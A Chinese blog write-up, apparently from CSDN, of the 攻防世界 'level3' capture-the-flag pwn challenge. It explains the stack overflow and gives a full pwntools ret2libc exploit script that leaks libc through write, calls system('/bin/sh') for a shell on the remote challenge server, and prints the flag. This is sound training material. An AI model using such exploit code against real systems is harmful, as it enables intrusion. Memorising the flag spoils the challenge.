[攻防世界]level3

[攻防世界]level3

解题

分析

checksec一下,发现是一个32位并且开启了NX。
在这里插入图片描述
拖入ida中,main函数开始分析。
在这里插入图片描述
这里有个函数,进去看一下是什么,在根据运行的进行看。
运行的时候,运行的第一句话是Input:,之后随意输入一些数据,显示的是Hello,World!
在这里插入图片描述
那么返回到汇编进行查看,也基本可以看懂,从main函数开始,跳转到了vulnerable_function函数里面,之后输出第一个Input:下面有一个buf,可以看看能不能从buf入手。
获得到了buf的栈空间是0x88,之后为了覆盖返回地址,所以要+0x04.
在这里插入图片描述在这里插入图片描述
之后查看字符串,发现没有给system和/bin/sh,但是给了一个libc.so.6,附件中也给了一个libc_32.so.6那么大概知道了,这个考点是libc泄露,那么两个库定下来了,一个是LibcSearcher和pwn库,利用ROP来查看一下位置,我发现一个问题,我用LibcSearcher没发现我的版本,那么我就用最开始的那种写法,但是LibcSearcher的写法我都注释上了。

脚本

from pwn import *
from LibcSearcher import *
#加载
#p = process('./level3')
p = remote('111.200.241.244',52250)
context(os = 'linux',arch = 'i386',log_level = 'debug')
#gdb.attach(p)
elf = ELF('level3')
lib = ELF('libc_32.so.6')
#got plt
write_a = elf.sym['write']
main_a = elf.sym['main']
got_write = elf.got['write']
plt_write = elf.plt['write']
libc_write = lib.sym['write']
lib_sys = lib.sym['system']
lib_bin = 0x0015902b
#第一次
payload_a = b'a'*(0x88+0x04) + p32(write_a) + p32(main_a) + p32(1) + p32(got_write) + p32(4)
#print('payload_a:' + payload_a)
p.recvline()
p.sendline(payload_a)
write_got=u32(p.recv()[:4])

#在第一次中获得
#libc = LibcSearcher('write',write_got)
#libc_b = write_got - libc.dump('write')
#system_a = libc_b+ libc.dump('system')
#binsh_a = libc_b + libc.dump('str_bin_sh')
libc = write_got - libc_write
sys_a = libc + lib_sys
_bin_sh = libc + lib_bin
#第二次
payload_b = b'a'*(0x88+0x04) + p32(sys_a) + p32(1) + p32(_bin_sh)
p.recvline()
p.sendline(payload_b)
p.interactive()

最后获得flag是cyberpeace{e983ea909cd634b95bb4650cd47ff818}

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值